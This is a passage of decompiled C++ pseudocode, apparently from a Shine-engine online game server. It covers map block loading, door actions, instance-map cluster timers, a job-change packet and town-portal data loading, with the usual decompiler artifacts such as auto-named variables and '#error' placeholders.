return 1; } //----- (00471E70) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformation::mbi_Load(MapBlock::MapBlockInformation *this, Name3 *mapid, unsigned int *xsize, unsigned int *ysize) { MapBlock::MapBlockInformation *v4; // edi@1 unsigned int v5; // eax@1 char *v6; // eax@1 _iobuf *v7; // eax@1 _iobuf *v8; // ebp@1 unsigned int v9; // eax@5 void *v10; // eax@8 unsigned int v11; // eax@11 unsigned int v12; // eax@15 char *v13; // eax@15 _iobuf *v14; // ebp@15 unsigned int v15; // eax@15 char *v16; // eax@15 unsigned int v17; // eax@18 unsigned int v18; // eax@21 void *v19; // eax@24 unsigned int v20; // eax@27 int v21; // ebp@27 int v22; // eax@30 unsigned int v23; // edx@30 int v24; // ecx@30 unsigned int v25; // edx@30 _iobuf *v26; // ST14_4@30 unsigned int v27; // eax@31 unsigned int v28; // eax@33 char *v29; // eax@33 unsigned int v30; // eax@33 char *v31; // eax@33 unsigned int v32; // eax@33 char *v33; // eax@33 BlockDistribute::BlockingDistribute *v34; // eax@33 int y; // [sp+10h] [bp-ACh]@21 int x; // [sp+14h] [bp-A8h]@18 FILE *fp; // [sp+18h] [bp-A4h]@5 int buffer; // [sp+1Ch] [bp-A0h]@2 int v39; // [sp+20h] [bp-9Ch]@5 int v40; // [sp+24h] [bp-98h]@18 FunctionEntarance _; // [sp+28h] [bp-94h]@1 char path[128]; // [sp+2Ch] [bp-90h]@1 unsigned int v43; // [sp+ACh] [bp-10h]@36 int v44; // [sp+B8h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "MapBlock::MapBlockInformation::mbi_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapBlockInformation::mbi_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_QWORD *)v6 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v6 + 2) = *(_DWORD *)&mapid->n3_name[8]; v6[12] = 0; v44 = 0; sprintf(path, "../9Data/Shine/BlockInfo/%s.shab"); v7 = fopen(path, "rb"); v8 = v7; if ( v7 ) { if ( fread(&buffer, 4u, 1u, v7) != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read X size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } v9 = fread(&v39, 4u, 1u, v8); fp = (FILE *)(v9 == 1); if ( v9 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Y size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } v10 = operator new__(buffer * v39); v4->mbi_AttackBlockBuffer = (char *)v10; if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in alloc mamory", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } v11 = fread(v4->mbi_AttackBlockBuffer, 1u, buffer * v39, v8); fp = (FILE *)(v11 == buffer * v39); if ( v11 != buffer * v39 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Block information", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } fclose(v8); } v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_QWORD *)v13 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v13 + 2) = *(_DWORD *)&mapid->n3_name[8]; v13[12] = 0; sprintf(path, "../9Data/Shine/BlockInfo/%s.shbd"); v14 = fopen(path, "rb"); v15 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v15; v16 = (char *)&namestring + 256 * v15; *(_QWORD *)v16 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v16 + 2) = *(_DWORD *)&mapid->n3_name[8]; fp = v14; v16[12] = 0; if ( v14 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Map block information not found", v16); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v17 = fread(&x, 4u, 1u, v14); v40 = v17 == 1; if ( v17 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read X size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v18 = fread(&y, 4u, 1u, v14); v40 = v18 == 1; if ( v18 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Y size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v19 = operator new__(x * y); v4->mbi_MoveBlockBuffer = (char *)v19; if ( v19 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in alloc mamory", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v20 = fread(v4->mbi_MoveBlockBuffer, 1u, x * y, v14); v21 = x; v40 = v20 == x * y; if ( v20 != x * y ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Block information", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v22 = y; v4->mbi_blockxsize = 8 * x; v4->mbi_blockysize = v22; v23 = 5000 * v21 / 0x64u; v4->mbi_mapxsize = v23; v4->mbi_xbyte = v21; *xsize = v23; v24 = y; v25 = 625 * v4->mbi_blockysize / 0x64; v4->mbi_mapysize = v25; *ysize = v25; v26 = fp; v4->mbi_uiRealOneSideDataSize = v21; v4->mbi_uiOneSideBlockCnt = v24; fclose(v26); if ( v4->mbi_AttackBlockBuffer ) { v27 = 0; if ( x * y ) { do { v4->mbi_MoveBlockBuffer[v27] |= v4->mbi_AttackBlockBuffer[v27]; ++v27; } while ( v27 < x * y ); } } v28 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v28; v29 = (char *)&namestring + 256 * v28; *(_QWORD *)v29 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v29 + 2) = *(_DWORD *)&mapid->n3_name[8]; v29[12] = 0; v30 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v30; v31 = (char *)&namestring + 256 * v30; *(_QWORD *)v31 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v31 + 2) = *(_DWORD *)&mapid->n3_name[8]; v31[12] = 0; sprintf(path, "../9Data/Shine/BlockInfo/%s.aid"); AreaInfoData::Load(&v4->mbi_AreaData, path); v32 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v32; v33 = (char *)&namestring + 256 * v32; *(_QWORD *)v33 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v33 + 2) = *(_DWORD *)&mapid->n3_name[8]; v33[12] = 0; MapBlock::MapDoorArray::mda_Load(&v4->mbi_DoorBlockInform, v33); v34 = BlockDistribute::BlockDistributeManager::bdm_Find( &blockdistmanager, mapid, v4, v4->mbi_mapysize, 0, 0, v4->mbi_mapxsize); v4->mbi_BlockDistribute = v34; if ( v34 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapBlockInformation::mbi_Load : BlockDist fail", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } --funcallanalizer.fca_stackpoint; v44 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_Load"); __security_check_cookie(v43); } //----- (004723E0) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformationBox::MapBlockInformationBox(MapBlock::MapBlockInformationBox *this) { MapBlock::MapBlockInformationBox *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0xB50u, 256, (void (__thiscall *)(void *))MapBlock::MapBlockInformationBox::__unnamed::__unnamed, (void (__thiscall *)(void *))MapBlock::MapBlockInformationBox::__unnamed::___unnamed); v1->mbib_Number = 0; } //----- (00472410) -------------------------------------------------------- MapBlock::MapBlockInformation *__thiscall MapBlock::MapBlockInformationBox::mbib_Load(MapBlock::MapBlockInformationBox *this, Name3 *servmapid, Name3 *clntmapid, unsigned int *xsize, unsigned int *ysize) { MapBlock::MapBlockInformationBox *v5; // esi@1 unsigned int v6; // edx@1 int v7; // edi@1 char *v8; // eax@2 int v9; // eax@10 char *v10; // eax@10 MapBlock::MapBlockInformation *v11; // ebx@10 int v12; // edi@10 MapBlock::MapBlockInformation *result; // eax@10 int v14; // edi@11 v5 = this; v6 = this->mbib_Number; v7 = 0; if ( (signed int)v6 <= 0 ) { LABEL_7: if ( v6 >= 0x100 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformationBox::mbib_Load : Too many block info", v6); ShineExit("MapBlock::MapBlockInformationBox::mbib_Load"); } v9 = this->mbib_Number; this->mbib_Number = v9 + 1; v10 = (char *)this + 2896 * v9; *(_QWORD *)v10 = *(_QWORD *)&servmapid->n3_name[0]; *((_DWORD *)v10 + 2) = *(_DWORD *)&servmapid->n3_name[8]; v11 = (MapBlock::MapBlockInformation *)(v10 + 20); MapBlock::MapBlockInformation::mbi_Load( (MapBlock::MapBlockInformation *)(v10 + 20), clntmapid, (unsigned int *)v10 + 3, (unsigned int *)v10 + 4); v12 = v7; *xsize = v5->mbib_array[v12].xsize; *ysize = v5->mbib_array[v12].ysize; result = v11; } else { v8 = &this->mbib_array[0].mapid.n3_name[8]; while ( *((_DWORD *)v8 - 2) != *(_DWORD *)&servmapid->n3_name[0] || *((_DWORD *)v8 - 1) != *(_DWORD *)&servmapid->n3_name[4] || *(_DWORD *)v8 != *(_DWORD *)&servmapid->n3_name[8] ) { ++v7; v8 += 2896; if ( v7 >= this->mbib_Number ) goto LABEL_7; } v14 = v7; *xsize = this->mbib_array[v14].xsize; *ysize = this->mbib_array[v14].ysize; result = &this->mbib_array[v14].block; } return result; } //----- (00472510) -------------------------------------------------------- char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, Name8 *doorindex, MapBlock::DoorAction da) { MapBlock::MapDoorBlockElement *v5; // esi@1 int v6; // ebx@1 char result; // al@2 char v8; // al@3 char v9; // bl@3 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapDoorArray::mdbe_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v6 = funcallanalizer.fca_stackpoint++ + 1; if ( Name8::operator__(doorindex, &v5->mdbe_BlockName) ) { funcallanalizer.fca_stackpoint = v6 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction"); result = 0; } else { v8 = MapBlock::MapDoorBlockElement::mdbe_DoorAction(v5, blockinform, array, da); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction"); result = v9; } return result; } //----- (00472610) -------------------------------------------------------- char __thiscall MapBlock::MapDoorArray::mda_DoorAction(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinform, Name8 *doorindex, MapBlock::DoorAction da) { MapBlock::MapDoorArray *v4; // esi@1 unsigned int v5; // ebx@1 MapBlock::MapDoorBlockElement *v6; // edi@2 char result; // al@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapDoorArray::mda_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapDoorArray::mda_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; if ( v4->mda_TotalHeadCnt ) { v6 = v4->mda_Array; while ( !MapBlock::MapDoorBlockElement::mdbe_DoorAction(v6, blockinform, v4, doorindex, da) ) { ++v5; ++v6; if ( v5 >= v4->mda_TotalHeadCnt ) goto LABEL_5; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mda_DoorAction"); result = 1; } else { LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mda_DoorAction"); result = 0; } return result; } //----- (00472700) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_DoorAction(MapBlock::MapBlockInformation *this, Name8 *doorindex, MapBlock::DoorAction da) { MapBlock::MapBlockInformation *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapBlockInformation::mbi_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MapBlock::MapDoorArray::mda_DoorAction(&v3->mbi_DoorBlockInform, v3, doorindex, da); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_DoorAction"); return v5; } //----- (004727B0) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::InstanceMap::InstanceMap(MapClusterManager::MapCluster::InstanceMap *this) { MapClusterManager::MapCluster::InstanceMap *v1; // esi@1 v1 = this; Metronome::Metronome(&this->TimeToDestroy); Metronome::Metronome(&v1->EmptytoMsgDelay); Metronome::Metronome(&v1->LimitExpirationTime); Metronome::Metronome(&v1->FailDelayTime); Metronome::Metronome(&v1->LimitExpirationTimeWarningLevel_1); Metronome::Metronome(&v1->LimitExpirationTimeWarningLevel_2); } //----- (00472830) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::InstanceMap::_InstanceMap(MapClusterManager::MapCluster::InstanceMap *this) { MapClusterManager::MapCluster::InstanceMap *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->LimitExpirationTimeWarningLevel_2); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->LimitExpirationTimeWarningLevel_1); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->FailDelayTime); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->LimitExpirationTime); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->EmptytoMsgDelay); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->TimeToDestroy); } //----- (004728C0) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::_MapCluster(MapClusterManager::MapCluster *this) { _eh_vector_destructor_iterator_( this->mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); } //----- (004728E0) -------------------------------------------------------- #error "4728E0: undefined or illegal type '#592' (funcsize=69)" //----- (004729E0) -------------------------------------------------------- #error "4729E0: undefined or illegal type '#592' (funcsize=111)" //----- (00472B70) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5AAB9C: using guessed type int (__stdcall *List_MapClusterManager__MapCluster____vftable_[3])(__int16 hnd); //----- (00472B90) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x94u, 0x2Au) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00472C40) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::cm_Init(MapClusterManager::ClusterManager *this) { MapClusterManager::ClusterManager *v1; // esi@1 int v2; // eax@1 int v3; // eax@4 ListStruct *v4; // eax@5 int v5; // eax@11 char v6; // al@14 ListStruct *v7; // eax@15 int v8; // eax@21 char v9; // al@24 ListStruct *v10; // eax@25 int v11; // eax@31 char v12; // al@34 ListStruct *v13; // eax@35 v1 = this; v2 = this->baseclass_0.l_Finger.empty; if ( (_WORD)v2 != -1 ) ((void (__stdcall *)(int))this->baseclass_0.vfptr->l_AllocZ)(v2); if ( v1->baseclass_0.l_MaxSize ) { v4 = v1->baseclass_0.l_Array; if ( v4->ls_Content ) { LOBYTE(v3) = 0; } else { *(_DWORD *)v3 = (char *)v1 + 24; LOBYTE(v3) = 1; } } else { LOBYTE(v3) = 0; } v3 = (unsigned __int8)v3; if ( !(_BYTE)v3 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", v3); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } v5 = v1->baseclass_0.l_Finger.empty; if ( (_WORD)v5 != -1 ) v1->baseclass_0.vfptr->l_AllocZ((List *)v1, v5); if ( v1->baseclass_0.l_MaxSize > 1u ) { v7 = v1->baseclass_0.l_Array; if ( v7[1].ls_Content ) { v6 = 0; } else { v7[1].ls_Content = &v1->cm_ClassChangeRou; v6 = 1; } } else { v6 = 0; } if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", 1); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } v8 = v1->baseclass_0.l_Finger.empty; if ( (_WORD)v8 != -1 ) v1->baseclass_0.vfptr->l_AllocZ((List *)v1, v8); if ( v1->baseclass_0.l_MaxSize > 2u ) { v10 = v1->baseclass_0.l_Array; if ( v10[2].ls_Content ) { v9 = 0; } else { v10[2].ls_Content = &v1->cm_ClassChangeGamble; v9 = 1; } } else { v9 = 0; } if ( !v9 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", 2); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } v11 = v1->baseclass_0.l_Finger.empty; if ( (_WORD)v11 != -1 ) v1->baseclass_0.vfptr->l_AllocZ((List *)v1, v11); if ( v1->baseclass_0.l_MaxSize > 3u ) { v13 = v1->baseclass_0.l_Array; if ( v13[3].ls_Content ) { v12 = 0; } else { v13[3].ls_Content = &v1->cm_ClassChangeElfForest; v12 = 1; } } else { v12 = 0; } if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", 3); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } } //----- (00472DB0) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::MapCluster(MapClusterManager::MapCluster *this, char *mapindex, INSTANCE_DUNGEON::CATEGORY Category) { MapClusterManager::MapCluster *v3; // esi@1 v3 = this; *(_QWORD *)&this->mc_MapIndex.n3_name[4] = 0i64; *(_DWORD *)&this->mc_MapIndex.n3_name[0] = 0; _eh_vector_constructor_iterator_( this->mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::InstanceMap, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); *(_DWORD *)&v3->mc_MapIndex.n3_name[8] = 0; *(_DWORD *)&v3->mc_MapIndex.n3_name[4] = 0; *(_DWORD *)&v3->mc_MapIndex.n3_name[0] = 0; strncpy(v3->mc_MapIndex.n3_name, mapindex, 0xCu); v3->mc_MapNumber = 0; v3->mc_Pointer = 0; v3->mc_Category = Category; } //----- (00472E10) -------------------------------------------------------- #error "472E10: undefined or illegal type '#592' (funcsize=61)" //----- (00472F20) -------------------------------------------------------- int __thiscall MapClusterManager::MapCluster::mc_CompName(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 hnd, MapClusterManager::MapCluster *key) { MapClusterManager::MapCluster *v4; // esi@1 bool v5; // cf@1 int v6; // esi@2 unsigned int v7; // eax@3 unsigned int v8; // ecx@3 unsigned int v9; // edx@4 unsigned int v10; // esi@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::MapCluster::mc_CompName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::MapCluster::mc_CompName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)&v4->mc_MapIndex.n3_name[0] < *(_DWORD *)&key->mc_MapIndex.n3_name[0]; if ( *(_DWORD *)&v4->mc_MapIndex.n3_name[0] != *(_DWORD *)&key->mc_MapIndex.n3_name[0] || (v7 = *(_DWORD *)&key->mc_MapIndex.n3_name[4], v8 = *(_DWORD *)&v4->mc_MapIndex.n3_name[4], v5 = v8 < v7, v8 != v7) ) { v6 = v5 ? 1 : -1; } else { v9 = *(_DWORD *)&key->mc_MapIndex.n3_name[8]; v10 = *(_DWORD *)&v4->mc_MapIndex.n3_name[8]; if ( v9 <= v10 ) v6 = -(v9 < v10); else v6 = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapClusterManager::MapCluster::mc_CompName"); return v6; } //----- (00472FB0) -------------------------------------------------------- bool __thiscall MapClusterManager::MapCluster::mc_GetLimitTime(MapClusterManager::MapCluster *this, unsigned int *rLimitTime, unsigned int RegisterNumber) { MapClusterManager::MapCluster *v3; // esi@1 unsigned int v4; // ecx@1 int v5; // edi@2 int v6; // eax@5 int v8; // eax@9 char *v9; // [sp-4h] [bp-24h]@7 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_GetLimitTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::MapCluster::mc_GetLimitTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( !LOWORD(v3->mc_MapNumber) ) { LABEL_7: v9 = "MapClusterNamager::MapCluster::mc_GetLimitTime"; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); return 0; } v5 = v3->mc_MapNumber; while ( 1 ) { if ( v3->mc_Pointer >= v5 ) v3->mc_Pointer = 0; v6 = v3->mc_Pointer; if ( v3->mc_Map[v6].RegisterNumber == RegisterNumber ) break; v3->mc_Pointer = v6 + 1; ++v4; if ( v4 >= LOWORD(v3->mc_MapNumber) ) goto LABEL_7; } v8 = (int)((char *)v3 + 72 * v3->mc_Pointer); v9 = "MapClusterNamager::MapCluster::mc_GetLimitTime"; if ( !*(_BYTE *)(v8 + 40) ) goto LABEL_8; *rLimitTime = *(_DWORD *)(v8 + 44) - clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_GetLimitTime"); return 1; } //----- (004730D0) -------------------------------------------------------- char __thiscall MapClusterManager::MapCluster::mc_SetLimitItem(MapClusterManager::MapCluster *this, unsigned int unMiunteTime, unsigned int RegisterNumber) { MapClusterManager::MapCluster *v3; // esi@1 unsigned int v4; // edx@1 int v5; // ebx@2 int v6; // eax@5 char result; // al@8 unsigned int v8; // edi@9 int v9; // ecx@9 unsigned int v10; // edx@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_SetLimitItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::MapCluster::mc_SetLimitItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( LOWORD(v3->mc_MapNumber) ) { v5 = v3->mc_MapNumber; while ( 1 ) { if ( v3->mc_Pointer >= v5 ) v3->mc_Pointer = 0; v6 = v3->mc_Pointer; if ( v3->mc_Map[v6].RegisterNumber == RegisterNumber ) { if ( v3->mc_Map[v6].bIsLimitTime ) break; } v3->mc_Pointer = v6 + 1; ++v4; if ( v4 >= LOWORD(v3->mc_MapNumber) ) goto LABEL_8; } v8 = clockwatch.cw_CurrTick; v9 = (int)&v3->mc_Map[v3->mc_Pointer].LimitExpirationTime; v10 = (unsigned int)(600000 * unMiunteTime * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; v3->mc_Map[v3->mc_Pointer].LimitExpirationTime.m_TickInterval = v10; *(_DWORD *)v9 = v8 + v10; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_SetLimitItem"); result = 1; } else { LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_SetLimitItem"); result = 0; } return result; } //----- (00473210) -------------------------------------------------------- #error "473210: undefined or illegal type '#592' (funcsize=128)" //----- (00473410) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_FirstJobChange(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // ST10_4@1 char *v4; // edi@2 ZoneBaseSession *v5; // eax@4 int v6; // eax@5 int v7; // esi@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1001); v3 = (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 52))(); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 40))(v2) != v3 ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4182; *((_WORD *)v4 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v4[8] = (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 52))(); v4[9] = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1220))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange : Packet Too Long", 10); } } v6 = (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 52))(); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange"); return v7; } //----- (00473550) -------------------------------------------------------- void __thiscall TownPortalData::TownPortalData(TownPortalData *this) { TownPortalData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->tpd_Data.baseclass_0); memset(&v1->tpd_Data.bdb_defaultblock, 0, 0x28u); HIWORD(v1->tpd_Data.bdb_defaultblock.Y) = 0; } //----- (00473570) -------------------------------------------------------- void __thiscall TownPortalData::tpd_Load(TownPortalData *this) { TownPortalData *v1; // esi@1 unsigned int v2; // ebx@1 CDataReader::HEAD *v3; // edx@1 int v4; // eax@1 int v5; // ecx@4 unsigned int v6; // ebp@4 void *v7; // edi@11 void *v8; // ebx@14 void *v9; // ebp@17 int v10; // edi@19 int m; // [sp+Ch] [bp-24h]@4 int k; // [sp+10h] [bp-20h]@1 int *v13; // [sp+14h] [bp-1Ch]@8 int number; // [sp+18h] [bp-18h]@1 int v15; // [sp+1Ch] [bp-14h]@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TownPortalData::tpd_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TownPortalData::tpd_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; BinaryDataBox::bdb_ReadData(&v1->tpd_Data, "../9Data/Shine/TownPortal.shn"); v3 = v1->tpd_Data.baseclass_0.baseclass_0.m_pHead; v4 = v3->nNumOfRecord; number = v3->nNumOfRecord; k = 0; if ( v4 - 1 > 0 ) { while ( 1 ) { v5 = v2 + 1; v6 = v2 + 1; v15 = v2 + 1; m = v2 + 1; if ( (signed int)(v2 + 1) < v4 ) { while ( 1 ) { v13 = (int *)(v6 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v6) : &v1->tpd_Data.bdb_defaultblock); v7 = v2 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v2) : &v1->tpd_Data.bdb_defaultblock; v8 = v2 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( 